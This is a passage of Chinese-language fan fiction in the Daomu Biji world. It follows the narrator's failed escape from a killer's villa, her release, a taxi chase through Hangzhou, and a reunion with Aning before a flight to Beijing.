脑子里想着诅咒的事,这个世界上确实有很多完全无法理解的事情。
比如张家人会在特定的时间被“天授”,像被下达了指令的木偶一样去做一些事,完全丧失自我意志,然后被清空记忆,非常恐怖。
假林霖的家族,墨家,和张家都是古老的家族,强悍,神秘。张家同样有着诅咒:长生不老。
张家那种长生不老可不是什么好事,伴随着人格分裂和精神错乱,是真正的生不如死。
墨家是双生子的诅咒,为什么?某种凡人难以抗衡的意志对她们降下诅咒,必然是为了平衡什么。
按照假林霖的话来说,我是受到了“诅咒”,我和鬼蝶血液里有一样的不明物质,那么我和她们家族诅咒是同源的?
我受到诅咒,是因为我干扰了阿宁的命运,那墨家双生子的诅咒又是因为什么?
我摇摇头,不管是什么,都和我无关。
我下床喝水,踩在柔软的地毯上,脑子里突然冒出来一个想法:这么晚了,门口守卫还在站岗?
去看看,我对自己说。
我并没抱太大希望,毕竟怎么看我也是个“重要人物”,肖老板应该会命人24小时看守。
没想到的是,我打开门,门口竟然一个守卫都没有?!
我十分诧异,难道说法国人已经人性化到了这种地步,连晚班都没人上?
站在门口,像贼一样左顾右盼,真的一个人都没有,漆黑一片,勉强能看到眼前一些白色的栏杆连成一片。
白天我打开门观察过,关押我的地方是一栋欧式别墅,我应该在二楼,面前白色栏杆下面是一个大大的客厅,墙上还挂着一副十分有宗教神秘感的油画。
我向上面看了看,天花板一片漆黑,不过有些细小的反光,不知道是什么东西,也许是镶的钻。
只要不是监控就行,环境很安全。还没想好我要干什么,心就逐渐狂跳了起来,我回头看了一眼,假林霖睡的正香。
此时不跑,更待何时?
我不敢关门,怕发出声音。轻轻掩上门,顺着走廊悄悄向一个方向摸,墙上凸起的浮雕不断刮擦我后背,有点舒服。
我走了大概二十几米,中间路过一个隔壁的房间,不小心把门给怼开了,吓一大跳,好在里面并没有人。
手顺着墙壁一直摸,触感忽然一空,我心一喜,果然隐隐约约看到了螺旋式下降的白栏杆。
像前走几步,摸着白栏杆,顺着楼梯下去,到了客厅。
这里大的能溜冰。我走了百十米,又高又大的门外,细微的月光从玻璃穿过,外面似乎是一片暗绿色的田野,鬼影绰绰的树木让人发怵,外面连一个路灯都没有。
我蹑手蹑脚走过去,心里忍不住产生怀疑,海边有这样的地方吗?这给我干到哪儿来了?这还是中国吗。
拉门废了死劲,心里又十分着急害怕,手指关节不小心敲到门上,沉闷的声音响起,吓的我立刻就僵了,屏息凝神停着四周的动静。
似乎没有惊动人,我扫了一圈别墅,确认没有动静,飞快地从门缝里溜出去,依然下了一节盘旋楼梯,踩到了土地上。
竟然这么顺利的逃出来了?我简直不可思议,回头看了看这栋别墅,发现它大的惊人,高高的黑影像一个巨兽。
我感慨着四处看,想找找哪里有路。这肖老板也不知道什么癖好,别墅旁边都不安几个路灯,黑灯瞎火的,自己不害怕吗?
这边真的荒无人烟,我视线里看不到任何建筑,今天风很大,月亮旁边飘过一片片云,月光灰暗。
我走到暗绿色的草地上,意外发现这是长势喜人的草坪,草坪一直延伸到远方。
心里暗骂,没人打理,杂草会一直疯长,长成各种奇怪的样子,这草这么整齐,是有专人打理的。
草坪延伸到哪儿,肖老板的地盘就包含在哪里。
心顿时凉了半截,这一望无际的草,我怎么跑?
心里无比想念我的高德地图,以前用的时候狂骂,现在想用也用不了了,就算给我导个狗洞我现在也愿意钻。
脑中灵光一闪,手机!赶紧拿出来看,但打开才想起来卡被她们拔了。
只能打110了!我鬼祟地藏在一个柱子后面,抖着手报警,等会儿我该怎么说?被人绑架了,在哪?不知道……
但我之前在上海参与了帮派火拼,会不会被发现,到时候直接给自己送进去了……
正犹豫着,手机通了!我赶紧贴上耳朵,压低声音:“喂?我要报警,我被人绑架了!”
听筒那边传来声音,却一下让我从头凉到尾,鬼蝶戏谑地笑:“哦?请问林小姐被谁绑架了?”
刹那间我怀疑自己见鬼了,或者我精神失常了。
我他大爷的打的不是110吗?为什么打到杀手那去了?
我难以置信地移开手机,看白色屏幕。
是拨打的110,但上面没有显示110,只有鬼一样的空白。
我疯狂挠头,感觉CPU要炸了,这他大爷的到底怎么回事?鬼蝶入侵公安系统了?
我要疯了,根本没有人能理解我满怀希望的打通110,听到的却是鬼蝶声音的惊悚!真是心脏骤停。她可真刑!我要报警抓她!
手机那头,鬼蝶还在笑,回荡在墙边,黑夜里古怪悚然。
我像被笑声烫到了,立即把手机甩出去,手机狠狠砸到石柱上,四分五裂。现在我觉得自己只是拿着手机,她都可以顺着手机爬出来,蛇一样盘踞着我的手臂。
这辈子没遇到过这么阴的人,我再也无法忍受,撒腿就跑,她大爷的!她大爷的!就算她现在拿把狙击枪在别墅窗口毙了我,我也要跑!
狂奔在空旷的草地上,我忽然觉得自己就像个惊慌失措的猎物,这里太像狩猎场了,我他大爷的就是一个可怜的兔子!
鬼蝶她能对我的手机做手脚,极有可能从我推门开始就牢牢掌握着我的动态,也许是什么隐藏的摄像头,也许她像个忍者一样吊在巨大的水晶灯上,感到十分有趣地窥伺着我的鬼祟动作。
一束强光突然锁定了我,我跑到哪儿光跟到哪儿,就像是一位优秀的追光师,无论舞台上的主角跑到哪里,她都能游刃有余地捕捉到主角的身影。
我气喘吁吁,左突右闪,追光灯始终如影随形。我鞋甩飞了一只,整个人狼狈至极,汗不停从头上滑下来,热的感觉自己在冒蒸汽。
累的再也跑不动,我停下来,草坪一望无际,跑了这么久,我甚至没有看到它的边缘。
绝望从心里不断溢出来,我喘着气转身,强光刺的我眼睛流泪。举起手臂挡着,勉强看清,发现这灯是从高大的别墅顶上射出来的,屋檐上高高的坐着一个人影。
我再也跑不动一步了,无力地跌坐在草地上,不住的流泪。
这时我真感觉自己是一个废物,又觉得自己被当猴耍了,前半生的生活一直顺风顺水,我从来没有这么被人欺负过,我被
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愚弄了。
恨意和委屈一股脑涌出来,我知道我跑不掉了,又很绝望,参杂着众多情绪的眼泪根本控制不住。
我知道此刻我不要哭,冷酷地看着那个看我笑话的人是最好的,最有骨气的,稍微有那么点意志的。
但太难了,来到这个世界所经历的一切止不住的在我脑子里循环播放,被蛇撵、雨林跑酷、脑震荡、和粽子赛跑、咳血……
算起来我过的最好的日子就是在上海的半个多月,还没玩痛快就被迫飙车逃命,临门一脚掉海里了,肋骨还折了。
越想越崩溃的想死,大量肾上腺素褪去,狂奔时毫无感觉的肋骨要命地痛起来,我痛地卧倒在地,感觉人生一下没有了希望,心如死灰。
有人逆着光走过来,步履轻松,剪影拉的很长。
鬼蝶走过来,居高临下地看着我,她不知道为什么愣了愣,逆着光看不清表情,我只能听她说话。
我以为她要讽刺我自不量力之类的,但她说的话大大出乎了我的意料,仔细听语气还有点可惜:“林小姐,你为什么要做这一行,在家和亲人朋友在一起不好吗。”
我不知道她这么突然说这样的话,这显然很不映景。
默默回望她,她穿戴的整齐,连头发都一丝不苟,能代言什么洗发水品牌。而我躺在地上,是如此狼狈,她像个掌控一切的人,我是个失败者。
鬼蝶看我瞪着她不说话,蹲下来看我,我怒视着她,她伸出手,我以为她要打我,立刻往后缩了下。
她顿了顿,唇角忽然愉悦地笑了笑,手指强硬地扣住我的下巴,迫使我动不了。
她的力气非常大,简直像老虎钳一样。我皱起眉,吃痛道:“干什么?放开我!”
离的近了,我清晰地看见她眼睛里闪着奇怪的光,心里顿时害怕起来,她不会要把我掐死吧?
鬼蝶个子太高了,蹲下来也和我有一段距离,她干脆单膝跪地,一只手在后腰摸着什么。
我浑身汗毛竖起,她要拿刀剁了我?
下一刻,她掏出来一把木梳。
她把僵硬的我扶起来,仔细输了梳头发,摘掉了我头发上的草,理了理我歪掉的睡衣肩带,还擦掉了我脸上的泪水。动作之温柔就像是妈妈对女儿。
我快吓疯了,鬼蝶行为之诡异,神色之奇怪,已经超出了我的理解能力。我只能想到一个:她被人夺舍了,要么就是被人顶替了。
我不敢说话,鬼蝶忽然两只手捧着我的脸,迫使我和她面对面。
我直觉不妙,鬼蝶摸了摸我的头发,叹了口气,用一种玄之又玄的语气责备道:“林小姐啊,你怎么把自己搞成这个样子?真是让人心疼,你这么不会照顾自己,我放你走了你可怎么办才好?”
我快吓尿了,她语气竟然是十分认真的,不是故意吓我,也不是阴阳怪气。
但这种认真让我浑身鸡皮疙瘩都起来了,心里丝丝寒意冒出来,心里只想让她不要在说话了,我求求她,能不能正常点。
我瞪着她,不敢开口刺激她,对视了一会儿,鬼蝶眼睛里闪过一丝奇怪的光。
她忽然凑近我,毫无征兆地抱了我一下,与此同时,我的肋骨传来一阵剧痛,仿佛是谁插进了一把匕首,正不紧不慢地搅动。
全身瞬间脱力,眼前阵阵阵发黑,我难以置信地看着她,她温柔地擦掉我额头上的冷汗,把我汗湿的碎发别在耳后,姿态自然无比,就像我是她最亲爱的孩子,她已经照顾了我无数遍。
她怜悯地笑了笑,爱怜地搂着说不出话的我,在我头发上亲了亲:“林小姐,一定很痛吧?这是你逃跑的惩罚。犯了错的孩子,是一定要受到惩罚的。”
21.真or假
我简直毛骨悚然,只想立刻撒丫子狂奔,心说她是不是晚上又看日漫了,这词恐怕是在里面学的吧!被洗脑这么深吗?
她慢条斯理的帮我把医用胸带固定好,疼痛过后,我能感觉到骨头好像归位了。
我不敢说话,鬼蝶抱着我走回去,我越想越不对劲,她说话怎么这么鬼畜?她真的是鬼蝶吗?
明明白天看着挺正常的,一个人白天晚上差别这么大,她不会人格分裂了吧,难道这也是双生子诅咒的一部分?
我眼睁睁看着她叹了一路的气,像是对我十分头疼。
别墅依然漆黑一片,我有点纳闷,这么大动静都没人出来看,难道肖老板的人都是死猪?
鬼蝶瞥了我一眼,淡淡道:“这个别墅,只有我们两个人,其他人都跟着肖老板办事去了。”
“什么?”我吃了一惊,说话幅度太大,肋骨痛起来,我气若游丝道:“怪不得没人,不过应该是三个人,你姐姐还在楼上呢。”
她古怪的笑了笑,“林小姐似乎认错了人,我就是你口中的姐姐呢。”
“你你你你你——”
我脑子一炸,所有不合理的诡异之处骤然归位,炸的我外嫩里焦。
原来姐姐比鬼蝶更鬼畜啊。
…
回到房间,果然没有人了,衣架上搭着假林霖穿的那件制服,桌子上我的脸,那张人皮面具放在上面,看起来惊悚无比。
假林霖竟然不放下我,径直把我抱去了浴室。
我死死按着门框:“等等!你干什么?”
“一身的土,你不洗澡啊。”假林霖说。
我仔细观察了她的神色,好在她没在这么奇怪了,我不自在的扭了扭:“放我下来,我自己洗。”
假林霖从善如流。我心里想着她说的奇怪的话,很不放心地锁上门,飞快洗了个澡,裹上浴巾出来。
我窜上床,听着浴室的水声,疲惫间,竟然不知不觉睡着了。
还好后面两天都没有什么事情,假林霖恢复了正常,仿佛我那天夜晚出逃失败只是一个噩梦。
第三天早晨,我被肖老板的人带着,先是坐车,然后坐船,走了有两个小时的路程,终于有人取下了我的眼罩。
大海上面,我被看守着,在甲板二楼的一个房间里。
肖老板要确保阿宁接到假林霖,然后会顺路把我放了。
在此期间,我都只能呆在这个房间里,窗户可以看到外面,但外面的人看不到我。
假林霖完美伪装成了我,被两个人假意压着,眼睛红红的,还有眼泪。
我看着她,鸡皮疙瘩一阵一阵,一方面有点恐怖谷和荒谬的真实感,一方面……说实话“我”这个样子看起看起来有点可怜。
难道说,我有吃软饭的天赋?我一直以为自己蛮A的,属于那种不服就干的愣头青。
没想到外表看着还挺软。
胡想一堆,忽然,远处海面上开过来一条船,速度极快,尾部切出长长的白线。
阿宁站在正前方,看着我们的船。
她好像瘦了,我想。指尖在玻璃上点点她的头。
双方都很紧张,我敢肯定两条船上都配的有狙击手。
肖老板比了个手势,一条长长的舷梯架在中间,假林霖被一个人带着往那边走。
阿宁立刻上前几步,一把抓住假林霖的手,把她拉到自己身边。
整个过程十分迅速,不过五分钟,阿宁的船就掉头离开。
我沉默地看着,心想阿宁果然还是没有认出我,我以为自己会有点伤心,但心里竟然没有什么感觉。
很快,肖老板的船离开了这片海域,按照约定把我放在一个沙滩边,还贴心地给了我一千块钱。
鬼蝶潇洒的和我挥挥手,我头也不回走到一条小路上,走了大概十几分钟,来到了一条沿海公路,跳了半天才拦到车。
托司机把我送到最近的城市,我这才知道这里是宁波。
脑海里快速过了一遍地图,宁波,离杭州很近,我现在没有阿宁的联系方式,去杭州找吴邪,他肯定有阿宁手机号。
我怕身上有定位器,去商场换了一身衣服,接着匆匆订了最快的火车票。
我呆坐在列车上,心里十分担心阿宁的安危,头一次后悔自己不记手机号码。
列车还在等待,我看着窗外的人群,忽然,余光瞥到进来的一个人。
我动了动,装做调整坐姿,余光观察着这个人。
她似乎是个上班族,拿着手提电脑,咖啡,坐下就开始办公,看起来是个老道的职场牛马。
似乎没什么奇怪的,这辆特快列车上,牛马不在少数,和她一样配置的人,这节车厢就有三四个。
但我却莫名感到有点违和。
我从椅背上抽出报纸,假装无聊地翻看着打发时间。过了会儿,我伸了个懒腰,站起来去洗手间。
她没有动静。
我去洗了手,回来时盯着她的后背,走到她旁边时,迅速瞥了一眼。
电脑上是PPT。
我回到位置坐下,心知我被人盯上了。
这个人,绝不是普通牛马。
她在笔记本上使用触摸板,屏幕上的鼠标移动的并不灵活。
也就是说,触摸板对她的手指触摸信号不敏感。
为什么?因为她的手指皮肤,并不柔软。她的手上有茧。
一个办公室牛马手上会有茧吗?只要她不是把键盘敲的像钻木取火,就不可能有。
她不是牛马,她是肖老板的人。
我的心缓缓沉入谷底。
到了杭州站,我快速穿过人流出站,她果然一直跟在我身后。
事情变得棘手起来,我不确定在她眼皮子底下,我还有没有命去通知阿宁。
难道她要一直跟着我?我拦了辆出租车,着急道:“快去西湖吴山居。”
后视镜里,有辆出租车跟着我。
我飞快地想办法,目前来说,只要我不call阿宁告密,她不会对我怎么样。
但如果她监视到我打给了阿宁,会不会通知假林霖立刻动手杀了阿宁?
正犹豫间,司机看着后视镜,道:“奇了怪了,谁他大爷地跟着老娘干什么?!”
我还没说话,一股熟悉的推背感传过来,一下把我按进椅背。
我一脸震惊,司机有意炫技,在密集的车流中开的飞起,得意道:“妹子,你被宵小跟踪了!看姐怎么帮你甩掉臭流氓!”
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穿过一片鸟语花香,汽车在杭州市区的速度达到了惊人的100km/h,并且时速还在上涨!这个时候要是有人鬼探头,根本避闪不及,我敢保证直接能送人到西伯利亚去。
即使这样,后面的出租车竟然也穷追不舍。
我咬牙看着我们车身险之又险的擦过一辆白车,心说这么玩我人还没找到吴邪就先撞死了,大喊:“减速!这太危险了!”
司机却好像兴奋起来了,全神贯注看着前方,“还没甩掉!大爷的,我开这么多年车等的就是这一刻!坐稳了!”
车子加速逃逸,不过几分钟,司机冲出马路,拐到一条小路,内燃机轰鸣不断,两边建筑疯狂后退,一切仿佛又回到了那个光怪陆离的夜晚。
司机很享受这种感觉,她拿出手机,飞快地拨打电话:“喂?江湖救急!你姐我的客人被人追杀了,你快开车过来给我挡一挡!地址?地址是……”
后面的车紧紧咬着我们,像一头撵着猎物的狼。
司机的神色严肃起来,不再跟我说话,而是不断和电话里的那头汇报位子。
很快,在前方一个岔路口,司机猛地右拐,轮胎发出刺耳的刮擦声,驶入一条新路。
几乎是同时,前面路上一辆一模一样的出租车轰然启动,离弦之箭一样窜了出去,司机高兴道:“成了!”
她猛抡方向盘,车子一头扎进旁边建筑的窄巷里,大吼:“快把头低下去!”紧接着车子熄火,所有灯光熄灭,这辆车就像本来就停在这一样。
我迅速伏下上半身,就听后面汽车漂移的声音响起,迅速由远及近,台风一样刮过我们,雷暴般高速疾驰而去。
四周立刻安静下来,司机重新启动汽车,挂倒挡猛踩油门,车子丝滑退出窄巷子。
司机得意冲我一挑眉,换挡给油一气呵成,汽车沿着来时的路飞驰。
“放心。”司机对目瞪口呆说不出话来的我说:“我弟车技不错,能耍他们大半个杭州,只要不被交警拦下来,他们不会发现追错了人。”
汽车很快汇入西湖环湖路,稳稳当当把我送到吴山居,我千恩万谢,司机十分上头,全程都笑眯眯摆手,似乎是终于实现了什么愿望,她最后都不要我钱。
事不宜迟,我冲向吴山居,猛地打开帘子,铺子里的吴邪被我吓一个激灵,翘到桌子上的脚连忙放下来,愣愣地看着我,挠了挠鸡窝头。
“林霖?你怎么来了?你不是在阿宁那吗?”
我大步上前,视线扫了一圈没看到手机,抓着他大吼:“快快快十万火急快打阿宁电话!”
吴邪看我脸色不对,连忙掏出手机递给我,我飞快找到阿宁,抖着手按下拨打键,心里祈祷她快接电话。
王盟被动静吸引,不知道从哪钻出来,一脸疑惑诧异地看我。
吴邪一边支他去倒茶,一边给我拿了个椅子。
电话还没通,我心急如焚,很怕肖老板的人发现不对,抢先给假林霖发消息。
“喂?吴邪?”
万幸的是,电话通了。阿宁的声音似乎有些纳闷,大概是不明白吴邪怎么突然找她。
我语速飞快地说:“阿宁,我是林霖,你身边那个林霖是假的!她戴了人皮面具,她是个杀手!”
22.选择
我说的又高又急,声音都变了调,连忙降低声音,试图让她相信我是我。
怎么办,阿宁怎么才能相信我?她身边有个“林霖”了,任何人都会有陷入为主的概念吧?
就像和一个朋友玩的很好,朋友出去了一趟,回来大家继续玩的很好,这时突然有个一模一样的朋友冲出来说别玩了别玩了,她是假的,我是真的,谁都会怀疑的吧?
阿宁却一愣,第一反应不是质疑我,而是问:“林霖?你现在在吴邪那里?你有没有事?”
我急的疯狂跺脚:“这不是重点!你快把那个假的我抓起来!她可能要杀你!”
手机那边传来汽车发动的声音,阿宁笑着说:“放心,人我已经关起来了。我们现在正在用她的通信设备和肖老板的人保持联系,现在在肖老板看来,这位杀手正成功地潜伏在我身边,伺机而动呢。”
我长长舒了一口气,提着的心立刻放下来,瘫坐在椅子上。
“你怎么逃出来的?你现在怎么样?那个冒牌货说你断了两根肋骨。”阿宁问我。
我无奈地摇摇头,摸着我的肋骨:“别提了,我试图逃走,失败了,最后还是她们放我走的。”
说着,心里有很多问题想问她,想问她“赎”回我花了多少钱,想问她这么发现假林霖不是我的,想问她在哪,上次受的伤好了没有,严不严重。
这样问题像干巴面包一样堵在嗓子眼,一时间有些不知道从哪问起。
阿宁也静默了下来,我只能听到听筒里彼此的呼吸声。
半晌,阿宁低声道:“疼吗?”
这声音就像贴着我耳朵边吹的热气,我的腰莫名其妙痒起来,身子竟然有点酥麻。
抬头看到吴邪一脸难言地看着我,没有镜子我也不知道自己是个什么表情,立刻收起咧开的嘴角,回答说:“还行吧,有点痛。”
阿宁嗯了一声,说:“抱歉,那时我没有抓住你。”
我嘴角止不住的上扬,说没什么啦,当时情况太紧急了,当然能活一个是一个。
阿宁停顿了很久,我感觉她还想说什么,不由得有点期待。
但她最后只说:“你呆在吴邪那里不要走,我马上派人接你。”
意犹未尽地放下手机,脑子里不由自主滚了遍阿宁的话,我直想笑,又不想在吴邪面前表现的这么痴,只好用门牙死命咬住下嘴唇。
表情大概很扭曲,吴邪一脸无语。
他把水推给我,王盟走过来,一脸好奇地看着我,我对他笑了笑,打了声招呼。
吴邪介绍道:“这是我店里的伙计,王盟。王盟,这位是我朋友,林霖林小姐。”
王盟瘦的像个猴子,衣服也是黑色的,大概常熬夜,整个人看起来精气神不好,没有神采。
我想着这家伙后来的事,心里也有点感慨,这本书里面的人物,其实多少都有点悲情。
朝他伸出手,友好道:“你好。”
王盟有点受宠若惊,看了看吴邪又看了看我,右手背到后面偷偷擦了擦,和我握手。
吴邪有点纳闷,但没说什么。阿宁的人很快来接我了,司机开着一辆低调的商务车。
我不便多呆,很快和吴邪告别,上了车。
车窗外,王盟倚着门框呆呆地看我,像个呆头鹅。
我噗嗤一笑,和他们挥手:“再见啦!”
…
之后很长一段时间里,王盟呆坐在吴山居守着没人的铺子,重复着无聊透顶的生活时,都会想起那个神奇的夏天中午。
他站在二楼,看到林小姐像风一样冲进店铺,以及她看自己似乎似曾相识的眼神,还有她手心的温度。
这些都给他一种十分新奇的感觉。
就像是一直被认为是坏孩子的小孩突然被人夸了,还得到了一朵小红花;就像一个小小士兵突然得到了将军的重视,日理万机的将军拍着他的肩膀对他说,好好干啊王盟,我看好你,我一直知道你的名字。
所有人都觉得他不堪重用,就连他自己也觉得自己是个顶顶没劲的废物。
吴邪吝啬于他的工资,别的铺子的伙计们轻视他,别人都不看好他,偏偏自己也不争气。
他沉迷于单机游戏,其实他也不怎么想玩,但是他不玩又能干什么?停下来思考无趣失败的人生吗?
这一切都在林小姐这里不一样了。
林小姐的眼神却告诉他,我很欣赏你。
王盟反复回味着她看自己的眼神,那个既欣赏又鼓励的眼神。
在他不是很长的、窝囊的生命里,从来没人用这样的眼神看他。
刹那间王盟心底升起一股奇异的感觉,那时他还没搞明白这是什么。
很久很久以后,等他成了吴邪麾下第一位的伙计,等他也有了自己的属下,等他也被人尊称一声盟哥的时候。
他终于明白过来,或者是敢明白过来了,鼓起勇气向吴邪打听林小姐时,吴邪却告诉他,林小姐已经不见啦。
那个晚上王盟干掉了半箱五粮液。
她像一个梦一样闯进来,从此连同着那个美好的夏天,一起消失在了他的二十一岁。
……
汽车行驶在高架桥上。
司机告诉我,我们要去萧山国际机场,飞往北京。
他递给我一个手机,我打开通信录,里面阿宁的号码赫然在第一位,吴邪胖子也有,还有哈士奇的。
我转了两圈,犹豫着要不要打过去,下一刻,阿宁打过来了。
“林霖,司机接到你了吧?”阿宁说,“我正在赶来的路上,到时候我们机场见,我带你去北京看病,你别怕。”
我说好。
萧山国际机场。
这个季节正值旅游旺季,机场人山人海。我下了车,四处找阿宁。
六月的风吹响树叶,整齐的绿化带灌木绿意盎然,流动的人潮中,我忽然看到了静止不动的阿宁。
她短发利落酷飒,黑发黑眸,静静地站在人海之外,无声无息地看着我。
很快她动了,向我走过来,像一把笔直的利剑切入人群。
她一直看着我,别人撞到她,她也不在意,看着我,就这样走过来。
仿佛她已经等了我很久,仿佛我是她什么很珍贵的人。她的眼神是这样告诉我的。
她认定了一个目标,就会一直向它走去。
我喉咙发紧,忽然有种想哭的冲动,我觉得,就算此刻我立刻死掉,我也没什么遗憾了。
我向前走了两步,她直接跑了过来。
我视线模糊,看着她收紧的下颌线,抬头看她,说:“阿宁,你是不是瘦了?”
“没有。”她低头看我,“你瘦了。你的伤……”她伸出手,想触碰我的肋骨固定带,但很快停滞在了空中,眼睛垂了下来,“对不起。都怪我没有抓住你。”
我不太擅长面对这样的情况,刚想说两句俏皮话,阿宁忽然轻轻抱住了我。
机场人很多,不少人路过好奇的看着我们,很快又匆匆离开。
她单手环住我的肩膀,摸摸我的头,在我愣神的时候,轻声说:“林霖,我不会再让你受伤了。”
我的脑子嗡的一声,心说这是什么意思,难道是表白?不不不,阿宁是一个责任心很强的人,眼睁睁看着我坠落,她大概十分愧疚?
我知道有种感觉叫吊桥效应,当人在绝境下由于紧张恐惧心跳加速,这个时候遇到别人,往往会误以为心跳是因为她加速。
我和阿宁经历过几次生死了,难道阿宁因为这个才对我爱护有加?
我愣愣地抬起头看她,她知道这句话,是很暧昧的吗?
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>…
阿宁拉着我穿过机场候车室,直接上了一辆私人飞机。
有两个医生围过来,检查我的情况,阿宁皱着眉,听她们汇报。
我喝了一口橙汁,窝在舒服的椅子里,看着阿宁。
头脑发热过后,我后知后觉感到,我和阿宁……关系似乎太近了?
飞机起飞,陆地和海洋变成一副巨大的画,我吸着橙汁,想着自己的心事。
阿宁在我身边坐下,问:“有没有那里不舒服,可以和医生说。”
我摇头,阿宁又从口袋里拿出一张卡,递给我:“这张你落酒店里了,我派人拿回来了,你拿好。”
“转了一些钱,随便刷。想要什么都行,我会派保镖给你,让保镖付款也可以。”
我讷讷道:“怎么突然对我这么好。你记忆恢复的怎么样了?”
“有一些模糊的记忆,还是不记得什么。”
她摸了摸我果汁杯壁,端着它离开,很快回来了,递给我:“喝吧。”
入手温热,我微哂,阿宁不愧是当领队的人,心细。
现在和她坐在一起,我反而有点不知道说什么好,她提了个话头,问我在肖老板那里有没有被欺负。
我很快把这几天的经历和她说了一遍,说到鬼蝶家族的诅咒时,我偷看了一眼她的表情。
不确定那个假林霖会不会把我血液里有诅咒的事情告诉阿宁。
阿宁毫无反应,我放下心来,问:“对了,那个扮成我的杀手,你怎么认出她来的?”
“不难。”她微笑道:“她和你的眼神不一样。”
我大为惊奇,问她这怎么区分的,我自己都看不出来。
阿宁喝了口水,笑道:“她扮演的很像你,那时在船上,远远望去我都没认出来。但她一过来,我就看出来不对了。她看我的眼神,太单一了,她的眼睛里,少了一种情绪。”
“啊?难道我的眼神很复杂吗?”我羞涩道,“还好吧我觉得……”
阿宁忽然看着我,说:“你看我的眼神和别人不一样。”
我闹了个大红脸,心说当然不一样。
没想到阿宁接着说:“有的时候,你看我的眼神有一种恐惧。”
我一下子愣住了,有时候我确实怕阿宁突然死掉。她已经敏锐到了这种地步吗。
她盯着我:“为什么?你在害怕什么?”
我沉默了,此刻客机上其他人都退下了,飞机微弱的嗡鸣围绕在四周。
我以为阿宁会继续问我,她却岔开了话题,似乎只是随口一问。
我心里叹了口气,她不追问也好。这个答案背后的秘密,我恐怕一辈子都不会告诉她了。
我问道:“我们去北京干什么?除了看病。”
如果只是看病,阿宁带我回美国她自己的地盘,能动用的医疗资源更多,现在去北京,一定有什么别的别的打算。
阿宁说:“果然瞒不住你,我的老板在北京有个眼线,被派去了广西巴乃,他在那里打听到一个奇怪的东西。原本想出价给买下来,奈何东西在一个顽固的老头手里,死活不卖。他在那个地方,也发现了一些蹊跷。老板现在在北京听他述职,不出意外的话,我们还要在中国逗留一段时间。”
我心里一惊,广西巴乃,盘马老爹,塌肩膀,魔湖,被替换的考古队,张家古楼。
各路人马轰轰烈烈汇聚于此,盗墓笔记的本传终点,霍仙姑的队伍几乎全军覆没,吴邪孤注一掷,戴上吴三省的人皮面具营救胖子和张起灵。
张家古楼凶险无比,连张起灵都差点死在里面,霍仙姑,潘子死了,云彩也死了。
裘德考找到了张家古楼,此去必然会不惜代价找到他想要的东西,阿宁一定会去。
阿宁,还有命活吗?
我,要去吗?
23.出气
阿宁惊愕地说:“林霖?你怎么了?”
她一边说一边摸我的头,我回神,发现自己牙齿在打架,脸色大概很难看。
我勉强一笑,摇头道:“我没事。你要去巴乃吗?”
阿宁和我对视着,她的眼睛里满是困惑和探究,“你不想让我去吗?”她反问道。
我苦涩地看着她,难道我说不想,她就不去了吗?裘德考收养了她二十多年,以她和裘德考的关系,难道我一句话就能阻止她吗?
人应该有自知之明,我躲开了她的目光,盯着桌子上香甜的橙汁:“我说不想,你就不去了吗?”
阿宁沉默了,我心里隐秘的期待破灭,叹了口气。
阿宁有些不知所措,安慰我道:“老板还没有通知,巴乃还不一定去。”
我心里难受,她不知道,这样的安慰没有用,因为我知道裘德考一定会去。
心里堵了一口气,没来由的生气,也不知道生谁的气。
阿宁的气舍不得生,自己更是没错不可能生,想来想去,都是裘德考那个死老头的错,都要死的人了还这么不消停。
我长长的叹气,阿宁一直观察着我的反应,线条凌厉的脸上浮现少有的困惑和犹豫。
在阿宁看来,我一定十分奇怪吧。
她不知道那里是个十死无生的地方,只是提到了巴乃,就看到我一万个抗拒。
阿宁一直看着我,眼神复杂,她似乎有很多话想说,眼睛里就像分布着扇形图。
又是那个我看不懂的眼神。
她忽然开口:“林霖,巴乃可能会有一种很重要的东西,目前还不确定,但它可能会对你有用。我想……”
她的声音低下去,我打断她:“不。”
我知道她想找什么,裘德考一直在找关于长生的线索,阿宁她也是深信不疑的吧?
我能感到,太阳每在地平线消失一次,我的生命同样流逝一部分。
格尔木医生一定给她说了什么,阿宁对我很好,是怀着愧疚。
人都是贪心的。远远望着阿宁的时候,我想靠近她;在阿宁身边了,我想和她成为朋友;现在成为朋友了,我还想奢求她的爱。
单论朋友的身份,她对我真是够意思了。我现在竟然有些不满,我不喜欢她对我愧疚。
她不明所以,我没有解释,只是拉拉她,让她坐回到椅子上。
脑子里突然就冒出了一句话:“没有时间了。”
……
两小时后,我们到了北京。
双脚落地还没两秒,阿宁安排的人冲过来,如狼似虎的医护们把我按到轮滑床上,飞快地推走了。
路上不少人好奇地看,所过之处行人纷纷让路,我默默拉上单被,把脸遮起来。
这架势,不知道的还以为我要死了。
很快到了医院,许多人忙前忙后,其中有不少熟悉的老外面孔。
我颇感不适应,其实我感觉自己没到卧床的地步,甚至能下楼买个关东煮。
阿宁一落地,把我匆匆送到医院,叮嘱了几句,很快离开了。
没一会儿,哈士奇狂奔着跑过来,一把推开病房门。
我的房间是VIP病房,阿宁也给我配了保镖,立刻有人要拦他,哈士奇蛮横地推开他们,斗牛一样冲了过来。
他一头卷毛东倒西歪,脚蹬目测有四十四码大拖鞋,扶着病房门气喘如牛,一看到我,大喊一声我的名字,猛扑过来,一个滑铲抱住了我的腿,哭的像个悲伤的小狗,嗷嗷的。
此刻我坐在床边,正打算下来。颇为无语,挥开保镖们,说:“阿Z,不知道的还以为我死了呢你哭这么大声。”
我踢了他一脚,哈士奇弹跳起来,殷勤地扶起我,像个宫里的老太监一样。
我哭笑不得:“阿宁让你来的?她去干什么了?”
哈士奇挠挠头:“宁让我来照顾你,她说你是伤患,让我精细点。我们老板喊她有事,我估计这段时间他们会处理肖老板那个杀手的事情。”
哈士奇四肢发达,脑子大概比较简单,他看我的样子十分愧疚,恨不得把我当成太上皇伺候。
我支走保镖,难得跟一个不用费心力的人打交道,环境又是绝对安全,我也放松下来,向哈士奇打听后来发生的事情。
哈士奇说:“我们的人和肖老板都有死伤。中国警方来的很快,控制了上海郊区,我们的人进去了几个,不过老板托关系把他们接回来了,没有什么大碍。”
他偷偷向后瞅了瞅,把椅子挪向我,压低声音说:“林霖,你不知道当时在直升机上,阿宁都快疯了!我拼了命拦着她,她差点把我胳膊拧断!”
他一边说,一边展示胳膊上的青紫痕迹,啧啧感叹:“要不是还有他们几个一块拉着阿宁,她直接就跳下去了。我从来没见过宁领队失态成那个样子。讲真的,林小姐,如果你不是个女士,我都怀疑她是不是喜欢你了。”
我把一颗车厘子扔进嘴里,边吃边说:“咋啦,女士就不能喜欢了?都二十一世纪了,你思想还是这么迂腐。”
